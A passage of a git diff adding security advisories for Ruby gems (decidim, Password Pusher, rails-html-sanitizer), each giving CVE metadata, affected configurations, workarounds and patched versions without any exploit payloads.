+    - https://github.com/sinatra/sinatra/blob/b626e2d82c23b4fde0b51782fd32ca27ccde1d1a/lib/sinatra/base.rb#L323C1-L343C17
+    - https://github.com/sinatra/sinatra/issues/2052
+    - https://github.com/sinatra/sinatra/pull/2010
+    - https://github.com/sinatra/sinatra/pull/2053
+    - https://github.com/sinatra/sinatra/commit/cd3e00de20ddaff34ea30f7a74a7b9dad189d1d8
+---
diff --git a/advisories/_posts/2024-11-12-CVE-2024-43415.md b/advisories/_posts/2024-11-12-CVE-2024-43415.md
new file mode 100644
index 00000000..5b1555d8
--- /dev/null
+++ b/advisories/_posts/2024-11-12-CVE-2024-43415.md
@@ -0,0 +1,75 @@
+---
+layout: advisory
+title: 'CVE-2024-43415 (decidim-decidim_awesome): Decidim-Awesome has SQL injection
+  in AdminAccountability'
+comments: false
+categories:
+- decidim-decidim_awesome
+advisory:
+  gem: decidim-decidim_awesome
+  cve: 2024-43415
+  ghsa: cxwf-qc32-375f
+  url: https://github.com/decidim-ice/decidim-module-decidim_awesome/security/advisories/GHSA-cxwf-qc32-375f
+  title: Decidim-Awesome has SQL injection in AdminAccountability
+  date: 2024-11-12
+  description: |
+    ## Vulnerability type: CWE-89: Improper Neutralization of Special
+
+    Elements used in an SQL Command ('SQL Injection')
+
+    ## Vendor:
+
+    Decidim International
+    Community Environment
+
+    ### Has vendor conﬁrmed: Yes
+
+    ### Attack type: Remote
+
+    ### Impact:
+
+    Code Execution
+    Escalation of Privileges
+    Information Disclosure
+
+    ### Aﬀected component:
+
+    A raw sql-statement that uses an interpolated variable
+    exists in the admin_role_actions method of the
+    `papertrail/version-model(app/models/decidim/decidim_awesome/paper_trail_version.rb`).
+
+    ### Attack vector:
+
+    An attacker with admin permissions could manipulate database queries
+    in order to read out the database, read ﬁles from the ﬁlesystem,
+    write ﬁles from the ﬁlesystem. In the worst case, this could lead
+    to remote code execution on the server.
+
+    Description of the vulnerability for use in the CVE
+    [ℹ] (https://cveproject.github.io/docs/content/key-details-\nphrasing.pdf):
+      An improper neutralization of special elements used in an SQL
+      command in the `papertrail/version-\nmodel` of the
+      decidim_awesome-module <= v0.11.1 (> 0.9.0) allows an authenticated
+      admin user to manipulate sql queries\nto disclose information,
+      read and write ﬁles or execute commands.
+
+    ### Discoverer Credits: Wolfgang Hotwagner
+
+    ### References:
+
+    https://pentest.ait.ac.at/security-advisory/decidim-awesome-sql-injection-in-adminaccountability
+    https://portswigger.net/web-security/sql-injection
+  cvss_v3: 9.0
+  unaffected_versions:
+  - "< 0.11.0"
+  patched_versions:
+  - "~> 0.10.3"
+  - ">= 0.11.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-43415
+    - https://github.com/decidim-ice/decidim-module-decidim_awesome/commit/84374037d34a3ac80dc18406834169c65869f11b
+    - https://github.com/decidim-ice/decidim-module-decidim_awesome/security/advisories/GHSA-cxwf-qc32-375f
+    - https://pentest.ait.ac.at/security-advisory/decidim-awesome-sql-injection-in-adminaccountability
+    - https://github.com/advisories/GHSA-cxwf-qc32-375f
+---
diff --git a/advisories/_posts/2024-11-13-CVE-2024-45594.md b/advisories/_posts/2024-11-13-CVE-2024-45594.md
new file mode 100644
index 00000000..ec7f99e2
--- /dev/null
+++ b/advisories/_posts/2024-11-13-CVE-2024-45594.md
@@ -0,0 +1,47 @@
+---
+layout: advisory
+title: 'CVE-2024-45594 (decidim-meetings): decidim-meetings Cross-site scripting vulnerability
+  in the online or hybrid meeting embeds'
+comments: false
+categories:
+- decidim-meetings
+advisory:
+  gem: decidim-meetings
+  cve: 2024-45594
+  ghsa: j4h6-gcj7-7v9v
+  url: https://github.com/decidim/decidim/security/advisories/GHSA-j4h6-gcj7-7v9v
+  title: decidim-meetings Cross-site scripting vulnerability in the online or hybrid
+    meeting embeds
+  date: 2024-11-13
+  description: |
+    ### Impact
+
+    The meeting embeds feature used in the online or hybrid meetings
+    is subject to potential XSS attack through a malformed URL.
+
+    ### Workarounds
+
+    Disable the creation of meetings by participants in the meeting component.
+
+    ### References
+
+    OWASP ASVS v4.0.3-5.1.3
+
+    ### Credits
+
+    This issue was discovered in a security audit organized by mitgestalten
+    Partizipationsbüro against Decidim. The security audit was implemented
+    by the Austrian Institute of Technology.
+  cvss_v3: 7.7
+  unaffected_versions:
+  - "< 0.28.0"
+  patched_versions:
+  - "~> 0.28.3"
+  - ">= 0.29.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-45594
+    - https://github.com/decidim/decidim/releases/tag/v0.28.3
+    - https://github.com/decidim/decidim/security/advisories/GHSA-j4h6-gcj7-7v9v
+    - https://github.com/advisories/GHSA-j4h6-gcj7-7v9v
+---
diff --git a/advisories/_posts/2024-11-20-CVE-2024-52796.md b/advisories/_posts/2024-11-20-CVE-2024-52796.md
new file mode 100644
index 00000000..aa79010e
--- /dev/null
+++ b/advisories/_posts/2024-11-20-CVE-2024-52796.md
@@ -0,0 +1,56 @@
+---
+layout: advisory
+title: 'CVE-2024-52796 (pwpush): Password Pusher rate limiter can be bypassed by forging
+  proxy headers'
+comments: false
+categories:
+- pwpush
+advisory:
+  gem: pwpush
+  cve: 2024-52796
+  ghsa: ffp2-8p2h-4m5j
+  url: https://github.com/pglombardo/PasswordPusher/security/advisories/GHSA-ffp2-8p2h-4m5j
+  title: Password Pusher rate limiter can be bypassed by forging proxy headers
+  date: 2024-11-20
+  description: |
+    ### Impact
+
+    Password Pusher comes with a configurable rate limiter.
+    In versions prior to [v1.49.0], the rate limiter could be bypassed by forging
+    proxy headers allowing bad actors to send unlimited traffic to the site
+    potentially causing a denial of service.
+
+    ### Patches
+
+    In [v1.49.0], a fix was implemented to only authorize proxies on local IPs which
+    resolves this issue.
+
+    If you are running a remote proxy, please see
+    [this documentation](https://docs.pwpush.com/docs/proxies/#trusted-proxies)
+    on how to authorize the IP address of your remote proxy.
+
+    ### Workarounds
+
+    It is highly suggested to upgrade to at least [v1.49.0] to mitigate this risk.
+
+    If for some reason you cannot immediately upgrade, the alternative
+    is that you can add rules to your proxy and/or firewall to not
+    accept external proxy headers such as `X-Forwarded-*` from clients.
+
+    ### References
+
+    The new settings are [configurable to authorize remote proxies][1].
+
+    [v1.49.0]: https://github.com/pglombardo/PasswordPusher/releases/tag/v1.49.0
+    [1]: https://docs.pwpush.com/docs/proxies/#trusted-proxies
+  cvss_v3: 5.3
+  patched_versions:
+  - ">= 1.49.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-52796
+    - https://github.com/pglombardo/PasswordPusher/releases/tag/v1.49.0
+    - https://github.com/pglombardo/PasswordPusher/security/advisories/GHSA-ffp2-8p2h-4m5j
+    - https://docs.pwpush.com/docs/proxies/#trusted-proxies
+    - https://github.com/advisories/GHSA-ffp2-8p2h-4m5j
+---
diff --git a/advisories/_posts/2024-12-02-CVE-2024-53985.md b/advisories/_posts/2024-12-02-CVE-2024-53985.md
new file mode 100644
index 00000000..391b50d9
--- /dev/null
+++ b/advisories/_posts/2024-12-02-CVE-2024-53985.md
@@ -0,0 +1,141 @@
+---
+layout: advisory
+title: 'CVE-2024-53985 (rails-html-sanitizer): rails-html-sanitizer has XSS vulnerability
+  with certain configurations'
+comments: false
+categories:
+- rails-html-sanitizer
+- rails
+advisory:
+  gem: rails-html-sanitizer
+  framework: rails
+  cve: 2024-53985
+  ghsa: w8gc-x259-rc7x
+  url: https://github.com/rails/rails-html-sanitizer/security/advisories/GHSA-w8gc-x259-rc7x
+  title: rails-html-sanitizer has XSS vulnerability with certain configurations
+  date: 2024-12-02
+  description: |
+    ## Summary
+
+    There is a possible XSS vulnerability with certain configurations of
+    Rails::HTML::Sanitizer 1.6.0 when used with Rails >= 7.1.0 and
+    Nokogiri < 1.15.7, or 1.16.x < 1.16.8.
+
+    * Versions affected: 1.6.0
+    * Not affected: < 1.6.0
+    * Fixed versions: 1.6.1
+
+    Please note that the fix in v1.6.1 is to update the dependency on
+    Nokogiri to 1.15.7 or >= 1.16.8.
+
+    ## Impact
+
+    A possible XSS vulnerability with certain configurations of
+    Rails::HTML::Sanitizer may allow an attacker to inject content if
+    HTML5 sanitization is enabled and the application developer has
+    overridden the sanitizer's allowed tags in either of the following ways:
+
+    * allow both "math" and "style" elements
+    * or allow both "svg" and "style" elements
+
+    Code is only impacted if Rails is configured to use HTML5 sanitization,
+    please see documentation for
+    [`config.action_view.sanitizer_vendor`](https://guides.rubyonrails.org/configuring.html#config-action-view-sanitizer-vendor)
+    and [`config.action_text.sanitizer_vendor`](https://guides.rubyonrails.org/configuring.html#config-action-text-sanitizer-vendor)
+    for more information on these configuration options.
+
+    Code is only impacted if allowed tags are being overridden.
+    Applications may be doing this in a few different ways:
+
+    1. using application configuration to configure Action View
+       sanitizers' allowed tags:
+
+      ```ruby
+      # In config/application.rb
+      config.action_view.sanitized_allowed_tags = ["math", "style"]
+      # or
+      config.action_view.sanitized_allowed_tags = ["svg", "style"]
+      ```
+
+      see https://guides.rubyonrails.org/configuring.html#configuring-action-view
+
+    2. using a `:tags` option to the Action View helper `sanitize`:
+
+      ```
+      <= sanitize @comment.body, tags: ["math", "style"] >
+      <# or>
+      <= sanitize @comment.body, tags: ["svg", "style"] >
+      ```
+
+      see https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize
+
+    3. setting Rails::HTML5::SafeListSanitizer class attribute `allowed_tags`:
+
+      ```ruby
+      # class-level option
+      Rails::HTML5::SafeListSanitizer.allowed_tags = ["math", "style"]
+      # or
+      Rails::HTML5::SafeListSanitizer.allowed_tags = ["svg", "style"]
+      ```
+
+      (note that this class may also be referenced as
+      `Rails::Html::SafeListSanitizer`)
+
+    4. using a `:tags` options to the Rails::HTML5::SafeListSanitizer
+       instance method `sanitize`:
+
+      ```ruby
+      # instance-level option
+      Rails::HTML5::SafeListSanitizer.new.sanitize(@article.body, tags: ["math", "style"])
+      # or
+      Rails::HTML5::SafeListSanitizer.new.sanitize(@article.body, tags: ["svg", "style"])
+      ```
+      (note that this class may also be referenced as `Rails::Html::SafeListSanitizer`)
+
+    5. setting ActionText::ContentHelper module attribute `allowed_tags`:
+
+      ```ruby
+      ActionText::ContentHelper.allowed_tags = ["math", "style"]
+      # or
+      ActionText::ContentHelper.allowed_tags = ["svg", "style"]
+      ```
+
+    All users overriding the allowed tags by any of the above mechanisms
+    to include (("math" or "svg") and "style") should either upgrade or
+    use one of the workarounds.
+
+    ## Workarounds
+
+    Any one of the following actions will work around this issue:
+
+    - Remove "style" from the overridden allowed tags,
+    - Or, remove "math" and "svg" from the overridden allowed tags,
+    - Or, downgrade sanitization to HTML4 (see documentation for
+      [`config.action_view.sanitizer_vendor`](https://guides.rubyonrails.org/configuring.html#config-action-view-sanitizer-vendor)
+      and [`config.action_text.sanitizer_vendor`](https://guides.rubyonrails.org/configuring.html#config-action-text-sanitizer-vendor)
+      for more information)
+    - Or, independently upgrade Nokogiri to v1.15.7 or >= 1.16.8.
+
+    ## References
+
+    - [CWE - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (4.9)](https://cwe.mitre.org/data/definitions/79.html)
+    - Original report: https://hackerone.com/reports/2503220
+
+    ## Credit
+
+    This vulnerability was responsibly reported by HackerOne user
+    [@taise](https://hackerone.com/taise?type=user).
+  cvss_v4: 2.3
+  unaffected_versions:
+  - "< 1.6.0"
+  patched_versions:
+  - ">= 1.6.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-53985
+    - https://github.com/rails/rails-html-sanitizer/blob/v1.6.1/CHANGELOG.md
+    - https://github.com/rails/rails-html-sanitizer/security/advisories/GHSA-w8gc-x259-rc7x
+    - https://github.com/rails/rails-html-sanitizer/commit/b0220b8850d52199a15f83c472d175a4122dd7b1
+    - https://github.com/rails/rails-html-sanitizer/commit/cd18b0ef00aad1d4a9e1c5d860cd23f80f63c505
+    - https://github.com/advisories/GHSA-w8gc-x259-rc7x
+---
diff --git a/advisories/_posts/2024-12-02-CVE-2024-53986.md b/advisories/_posts/2024-12-02-CVE-2024-53986.md
new file mode 100644
index 00000000..c8c22563
--- /dev/null
+++ b/advisories/_posts/2024-12-02-CVE-2024-53986.md
@@ -0,0 +1,126 @@
+---
+layout: advisory
+title: 'CVE-2024-53986 (rails-html-sanitizer): rails-html-sanitizer has XSS vulnerability
+  with certain configurations'
+comments: false
+categories:
+- rails-html-sanitizer
+- rails
+advisory:
+  gem: rails-html-sanitizer
+  framework: rails
+  cve: 2024-53986
+  ghsa: 638j-pmjw-jq48
+  url: https://github.com/rails/rails-html-sanitizer/security/advisories/GHSA-638j-pmjw-jq48
+  title: rails-html-sanitizer has XSS vulnerability with certain configurations
+  date: 2024-12-02
+  description: |
+    ## Summary
+
+    There is a possible XSS vulnerability with certain configurations of
+    Rails::HTML::Sanitizer 1.6.0 when used with Rails >= 7.1.0.
+
+    * Versions affected: 1.6.0
+    * Not affected: < 1.6.0
+    * Fixed versions: 1.6.1
+
+    ## Impact
+
+    A possible XSS vulnerability with certain configurations of
+    Rails::HTML::Sanitizer may allow an attacker to inject content if
+    HTML5 sanitization is enabled and the application developer has
+    overridden the sanitizer's allowed tags in the following way:
+
+    - the "math" and "style" elements are both explicitly allowed
+
+    Code is only impacted if Rails is configured to use HTML5 sanitization,
+    please see documentation for
+    [`config.action_view.sanitizer_vendor`](https://guides.rubyonrails.org/configuring.html#config-action-view-sanitizer-vendor)
+    and [`config.action_text.sanitizer_vendor`](https://guides.rubyonrails.org/configuring.html#config-action-text-sanitizer-vendor)
+    for more information on these configuration options.
+
+    The default configuration is to disallow these elements. Code is only
+    impacted if allowed tags are being overridden. Applications may be
+    doing this in a few different ways:
+
+    1. using application configuration to configure Action View sanitizers'
+       allowed tags:
+
+      ```ruby
+      # In config/application.rb
+      config.action_view.sanitized_allowed_tags = ["math", "style"]
+      ```
+
+      see https://guides.rubyonrails.org/configuring.html#configuring-action-view
+
+    2. using a `:tags` option to the Action View helper `sanitize`:
+
+      ```
+      <= sanitize @comment.body, tags: ["math", "style"]>
+      ```
+
+      see https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize
+
+    3. setting Rails::HTML5::SafeListSanitizer class attribute `allowed_tags`:
+
+      ```ruby
+      # class-level option
+      Rails::HTML5::SafeListSanitizer.allowed_tags = ["math", "style"]
+      ```
+
+      (note that this class may also be referenced as
+      `Rails::Html::SafeListSanitizer`)
+
+    4. using a `:tags` options to the Rails::HTML5::SafeListSanitizer
+       instance method `sanitize`:
+
+      ```ruby
+      # instance-level option
+      Rails::HTML5::SafeListSanitizer.new.sanitize(@article.body, tags: ["math", "style"])
+      ```
+
+      (note that this class may also be referenced as
+       `Rails::Html::SafeListSanitizer`)
+
+    5. setting ActionText::ContentHelper module attribute `allowed_tags`:
+
+      ```ruby
+      ActionText::ContentHelper.allowed_tags = ["math", "style"]
+      ```
+
+    All users overriding the allowed tags by any of the above mechanisms
+    to include both "math" and "style" should either upgrade or use one
+    of the workarounds.
+
+    ## Workarounds
+
+    Any one of the following actions will work around this issue:
+
+    - Remove "math" or "style" from the overridden allowed tags,
+    - Or, downgrade sanitization to HTML4 (see documentation for
+      [`config.action_view.sanitizer_vendor`](https://guides.rubyonrails.org/configuring.html#config-action-view-sanitizer-vendor)
+      and [`config.action_text.sanitizer_vendor`](https://guides.rubyonrails.org/configuring.html#config-action-text-sanitizer-vendor)
+      for more information).
+
+    ## References
+
+    - [CWE - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (4.9)](https://cwe.mitre.org/data/definitions/79.html)
+    - Original report: https://hackerone.com/reports/2519941
+
+    ## Credit
+
+    This vulnerability was responsibly reported by So Sakaguchi (mokusou).
+  cvss_v4: 2.3
+  unaffected_versions:
+  - "< 1.6.0"
+  patched_versions:
+  - ">= 1.6.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-53986
+    - https://hackerone.com/reports/2931636
+    - https://github.com/rails/rails-html-sanitizer/blob/v1.6.1/CHANGELOG.md
+    - https://github.com/rails/rails-html-sanitizer/security/advisories/GHSA-638j-pmjw-jq48
+    - https://github.com/rails/rails-html-sanitizer/commit/f02ffbb8465e73920b6de0da940f5530f855965e
+    - https://github.com/advisories/GHSA-638j-pmjw-jq48
+---
diff --git a/advisories/_posts/2024-12-02-CVE-2024-53987.md b/advisories/_posts/2024-12-02-CVE-2024-53987.md
new file mode 100644
index 00000000..a12aad2f
--- /dev/null
+++ b/advisories/_posts/2024-12-02-CVE-2024-53987.md
@@ -0,0 +1,125 @@
+---
+layout: advisory
+title: 'CVE-2024-53987 (rails-html-sanitizer): rails-html-sanitizer has XSS vulnerability
+  with certain configurations'
+comments: false
+categories:
+- rails-html-sanitizer
+- rails
+advisory:
+  gem: rails-html-sanitizer
+  framework: rails
+  cve: 2024-53987
+  ghsa: 2x5m-9ch4-qgrr
+  url: https://github.com/rails/rails-html-sanitizer/security/advisories/GHSA-2x5m-9ch4-qgrr
+  title: rails-html-sanitizer has XSS vulnerability with certain configurations
+  date: 2024-12-02
+  description: |
+    ## Summary
+
+    There is a possible XSS vulnerability with certain configurations of
+    Rails::HTML::Sanitizer 1.6.0 when used with Rails >= 7.1.0.
+
+    * Versions affected: 1.6.0
+    * Not affected: < 1.6.0
+    * Fixed versions: 1.6.1
+
+    ## Impact
+
+    A possible XSS vulnerability with certain configurations of
+    Rails::HTML::Sanitizer may allow an attacker to inject content if
+    HTML5 sanitization is enabled and the application developer has
+    overridden the sanitizer's allowed tags in the following way:
+
+    - the "style" element is explicitly allowed
+    - the "svg" or "math" element is not allowed
+
+    Code is only impacted if Rails is configured to use HTML5 sanitization,
+    please see documentation for [`config.action_view.sanitizer_vendor`](https://guides.rubyonrails.org/configuring.html#config-action-view-sanitizer-vendor)
+    and [`config.action_text.sanitizer_vendor`](https://guides.rubyonrails.org/configuring.html#config-action-text-sanitizer-vendor)
+    for more information on these configuration options.
+
+    The default configuration is to disallow all of these elements. Code
+    is only impacted if allowed tags are being overridden. Applications
+    may be doing this in a few different ways:
+
+    1. using application configuration to configure Action View sanitizers'
+       allowed tags:
+
+      ```ruby
+      # In config/application.rb
+      config.action_view.sanitized_allowed_tags = ["style"]
+      ```
+
+      see https://guides.rubyonrails.org/configuring.html#configuring-action-view
+
+    2. using a `:tags` option to the Action View helper `sanitize`:
+
+      ```
+      <= sanitize @comment.body, tags: ["style"] >
+      ```
+
+      see https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize
+
+    3. setting Rails::HTML5::SafeListSanitizer class attribute `allowed_tags`:
+
+      ```ruby
+      # class-level option
+      Rails::HTML5::SafeListSanitizer.allowed_tags = ["style"]
+      ```
+
+      (note that this class may also be referenced as
+      `Rails::Html::SafeListSanitizer`)
+
+    4. using a `:tags` options to the Rails::HTML5::SafeListSanitizer instance method `sanitize`:
+
+      ```ruby
+      # instance-level option
+      Rails::HTML5::SafeListSanitizer.new.sanitize(@article.body, tags: ["style"])
+      ```
+
+      (note that this class may also be referenced as
+      `Rails::Html::SafeListSanitizer`)
+
+    5. setting ActionText::ContentHelper module attribute `allowed_tags`:
+
+      ```ruby
+      ActionText::ContentHelper.allowed_tags = ["style"]
+      ```
+
+    All users overriding the allowed tags by any of the above mechanisms
+    to include "style" and omit "svg" or "math" should either upgrade
+    or use one of the workarounds.
+
+    ## Workarounds
+
+    Any one of the following actions will work around this issue:
+
+    - Remove "style" from the overridden allowed tags,
+    - Or, downgrade sanitization to HTML4 (see documentation for
+      [`config.action_view.sanitizer_vendor`](https://guides.rubyonrails.org/configuring.html#config-action-view-sanitizer-vendor)
+      and [`config.action_text.sanitizer_vendor`](https://guides.rubyonrails.org/configuring.html#config-action-text-sanitizer-vendor)
+      for more information).
+
+    ## References
+
+    - [CWE - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (4.9)](https://cwe.mitre.org/data/definitions/79.html)
+    - Original report: https://hackerone.com/reports/2519936
+
+    ## Credit
+
+    This vulnerability was responsibly reported by So Sakaguchi (mnokusou).
+  cvss_v4: 2.3
+  unaffected_versions:
+  - "< 1.6.0"
+  patched_versions:
+  - ">= 1.6.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-53987
+    - https://hackerone.com/reports/2931639
+    - https://hackerone.com/reports/2931688
+    - https://github.com/rails/rails-html-sanitizer/security/advisories/GHSA-2x5m-9ch4-qgrr
+    - https://github.com/rails/rails-html-sanitizer/commit/f02ffbb8465e73920b6de0da940f5530f855965e
+    - https://github.com/advisories/GHSA-2x5m-9ch4-qgrr
+---
diff --git a/advisories/_posts/2024-12-02-CVE-2024-53988.md b/advisories/_posts/2024-12-02-CVE-2024-53988.md
new file mode 100644
index 00000000..4ff7781a
--- /dev/null
+++ b/advisories/_posts/2024-12-02-CVE-2024-53988.md
@@ -0,0 +1,134 @@
+---
+layout: advisory
+title: 'CVE-2024-53988 (rails-html-sanitizer): rails-html-sanitizer has XSS vulnerability
+  with certain configurations'
+comments: false
+categories:
+- rails-html-sanitizer
+- rails
+advisory:
+  gem: rails-html-sanitizer
+  framework: rails
+  cve: 2024-53988
+  ghsa: cfjx-w229-hgx5
+  url: https://github.com/rails/rails-html-sanitizer/security/advisories/GHSA-cfjx-w229-hgx5
+  title: rails-html-sanitizer has XSS vulnerability with certain configurations
+  date: 2024-12-02
+  description: |
+    ## Summary
+
+    There is a possible XSS vulnerability with certain configurations of
+    Rails::HTML::Sanitizer 1.6.0 when used with Rails >= 7.1.0.
+
+    * Versions affected: 1.6.0
+    * Not affected: < 1.6.0
+    * Fixed versions: 1.6.1
+
+    ## Impact
+
+    A possible XSS vulnerability with certain configurations of
+    Rails::HTML::Sanitizer may allow an attacker to inject content
+    if HTML5 sanitization is enabled and the application developer
+    has overridden the sanitizer's allowed tags in the following way:
+
+    - the "math", "mtext", "table", and "style" elements are allowed
+    - and either "mglyph" or "malignmark" are allowed
+
+    Code is only impacted if Rails is configured to use HTML5 sanitization,
+    please see documentation for [`config.action_view.sanitizer_vendor`](https://guides.rubyonrails.org/configuring.html#config-action-view-sanitizer-vendor)
+    and [`config.action_text.sanitizer_vendor`](https://guides.rubyonrails.org/configuring.html#config-action-text-sanitizer-vendor)
+    for more information on these configuration options.
+
+    The default configuration is to disallow all of these elements
+    except for "table". Code is only impacted if allowed tags are being
+    overridden. Applications may be doing this in a few different ways:
+
+    1. using application configuration to configure Action View sanitizers'
+       allowed tags:
+
+      ```ruby
+      # In config/application.rb
+      config.action_view.sanitized_allowed_tags = ["math", "mtext", "table", "style", "mglyph"]
+      # or
+      config.action_view.sanitized_allowed_tags = ["math", "mtext", "table", "style", "malignmark"]
+      ```
+
+      see https://guides.rubyonrails.org/configuring.html#configuring-action-view
+
+    2. using a `:tags` option to the Action View helper `sanitize`:
+
+      ```
+      <= sanitize @comment.body, tags: ["math", "mtext", "table", "style", "mglyph"] >
+      <# or >
+      <= sanitize @comment.body, tags: ["math", "mtext", "table", "style", "malignmark"] >
+      ```
+
+      see https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize
+
+    3. setting Rails::HTML5::SafeListSanitizer class attribute `allowed_tags`:
+
+      ```ruby
+      # class-level option
+      Rails::HTML5::SafeListSanitizer.allowed_tags = ["math", "mtext", "table", "style", "mglyph"]
+      # or
+      Rails::HTML5::SafeListSanitizer.allowed_tags = ["math", "mtext", "table", "style", "malignmark"]
+      ```
+
+      (note that this class may also be referenced as
+      `Rails::Html::SafeListSanitizer`)
+
+    4. using a `:tags` options to the Rails::HTML5::SafeListSanitizer
+       instance method `sanitize`:
+
+      ```ruby
+      # instance-level option
+      Rails::HTML5::SafeListSanitizer.new.sanitize(@article.body, tags: ["math", "mtext", "table", "style", "mglyph"])
+      # or
+      Rails::HTML5::SafeListSanitizer.new.sanitize(@article.body, tags: ["math", "mtext", "table", "style", "malignmark"])
+      ```
+
+      (note that this class may also be referenced as
+      `Rails::Html::SafeListSanitizer`)
+
+    5. setting ActionText::ContentHelper module attribute `allowed_tags`:
+
+      ```ruby
+      ActionText::ContentHelper.allowed_tags = ["math", "mtext", "table", "style", "mglyph"]
+      # or
+      ActionText::ContentHelper.allowed_tags = ["math", "mtext", "table", "style", "malignmark"]
+      ```
+
+    All users overriding the allowed tags by any of the above mechanisms
+    to include ("math" and "mtext" and "table" and "style" and ("mglyph"
+    or "malignmark")) should either upgrade or use one of the workarounds.
+
+    ## Workarounds
+
+    Any one of the following actions will work around this issue:
+
+    - Remove "mglyph" and "malignmark" from the overridden allowed tags,
+    - Or, downgrade sanitization to HTML4 (see documentation for [`config.action_view.sanitizer_vendor`](https://guides.rubyonrails.org/configuring.html#config-action-view-sanitizer-vendor)
+      and [`config.action_text.sanitizer_vendor`](https://guides.rubyonrails.org/configuring.html#config-action-text-sanitizer-vendor)
+      for more information).
+
+    ## References
+
+    - [CWE - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (4.9)](https://cwe.mitre.org/data/definitions/79.html)
+    - Original report: https://hackerone.com/reports/2519936
+
+    ## Credit
+
+    This vulnerability was responsibly reported by So Sakaguchi (mokusou).
+  cvss_v4: 2.3
+  unaffected_versions:
+  - "< 1.6.0"
+  patched_versions:
+  - ">= 1.6.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-53988
+    - https://hackerone.com/reports/2931710
+    - https://github.com/rails/rails-html-sanitizer/security/advisories/GHSA-cfjx-w229-hgx5
+    - https://github.com/rails/rails-html-sanitizer/commit/a0a3e8b76b696446ffc6bffcff3bc7b7c6393c72
+    - https://github.com/advisories/GHSA-cfjx-w229-hgx5
+---
diff --git a/advisories/_posts/2024-12-02-CVE-2024-53989.md b/advisories/_posts/2024-12-02-CVE-2024-53989.md
new file mode 100644
index 00000000..def72c25
--- /dev/null
+++ b/advisories/_posts/2024-12-02-CVE-2024-53989.md
@@ -0,0 +1,124 @@
+---
+layout: advisory
+title: 'CVE-2024-53989 (rails-html-sanitizer): rails-html-sanitizer has XSS vulnerability
+  with certain configurations'
+comments: false
+categories:
+- rails-html-sanitizer
+- rails
+advisory:
+  gem: rails-html-sanitizer
+  framework: rails
+  cve: 2024-53989
+  ghsa: rxv5-gxqc-xx8g
+  url: https://github.com/rails/rails-html-sanitizer/security/advisories/GHSA-rxv5-gxqc-xx8g
+  title: rails-html-sanitizer has XSS vulnerability with certain configurations
+  date: 2024-12-02
+  description: |
+    ## Summary
+
+    There is a possible XSS vulnerability with certain configurations of
+    Rails::HTML::Sanitizer 1.6.0 when used with Rails >= 7.1.0.
+
+    * Versions affected: 1.6.0
+    * Not affected: < 1.6.0
+    * Fixed versions: 1.6.1
+
+    ## Impact
+
+    A possible XSS vulnerability with certain configurations of
+    Rails::HTML::Sanitizer may allow an attacker to inject content if
+    HTML5 sanitization is enabled and the application developer has
+    overridden the sanitizer's allowed tags in the following way:
+
+    - the "noscript" element is explicitly allowed
+
+    Code is only impacted if Rails is configured to use HTML5 sanitization,
+    please see documentation for [`config.action_view.sanitizer_vendor`](https://guides.rubyonrails.org/configuring.html#config-action-view-sanitizer-vendor)
+    and [`config.action_text.sanitizer_vendor`](https://guides.rubyonrails.org/configuring.html#config-action-text-sanitizer-vendor)
+    for more information on these configuration options.
+
+    The default configuration is to disallow all of these elements. Code
+    is only impacted if allowed tags are being overridden. Applications
+    may be doing this in a few different ways:
+
+    1. using application configuration to configure Action View sanitizers'
+       allowed tags:
+
+      ```ruby
+      # In config/application.rb
+      config.action_view.sanitized_allowed_tags = ["noscript"]
+      ```
+
+      see https://guides.rubyonrails.org/configuring.html#configuring-action-view
+
+    2. using a `:tags` option to the Action View helper `sanitize`:
+
+      ```
+      <= sanitize @comment.body, tags: ["noscript"] >
+      ```
+
+      see https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize
+
+    3. setting Rails::HTML5::SafeListSanitizer class attribute `allowed_tags`:
+
+      ```ruby
+      # class-level option
+      Rails::HTML5::SafeListSanitizer.allowed_tags = ["noscript"]
+      ```
+
+      (note that this class may also be referenced as
+      `Rails::Html::SafeListSanitizer`)
+
+    4. using a `:tags` options to the Rails::HTML5::SafeListSanitizer instance method `sanitize`:
+
+      ```ruby
+      # instance-level option
+      Rails::HTML5::SafeListSanitizer.new.sanitize(@article.body, tags: ["noscript"])
+      ```
+
+      (note that this class may also be referenced as
+      `Rails::Html::SafeListSanitizer`)
+
+    5. setting ActionText::ContentHelper module attribute `allowed_tags`:
+
+      ```ruby
+      ActionText::ContentHelper.allowed_tags = ["noscript"]
+      ```
+
+    All users overriding the allowed tags by any of the above
+    mechanisms to include "noscript" should either upgrade or use
+    one of the workarounds.
+
+    ## Workarounds
+
+    Any one of the following actions will work around this issue:
+
+    - Remove "noscript" from the overridden allowed tags,
+    - Or, downgrade sanitization to HTML4 (see documentation for
+      [`config.action_view.sanitizer_vendor`](https://guides.rubyonrails.org/configuring.html#config-action-view-sanitizer-vendor)
+      and [`config.action_text.sanitizer_vendor`](https://guides.rubyonrails.org/configuring.html#config-action-text-sanitizer-vendor)
+      for more information).
+
+    ## References
+
+    - [CWE - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (4.9)](https://cwe.mitre.org/data/definitions/79.html)
+    - Original report: https://hackerone.com/reports/2509647
+
+    ## Credit
+
+    This vulnerability was responsibly reported by HackerOne user
+    [@taise](https://hackerone.com/taise?type=user).
+  cvss_v4: 2.3
+  unaffected_versions:
+  - "< 1.6.0"
+  patched_versions:
+  - ">= 1.6.1"
+  related:
+    url:
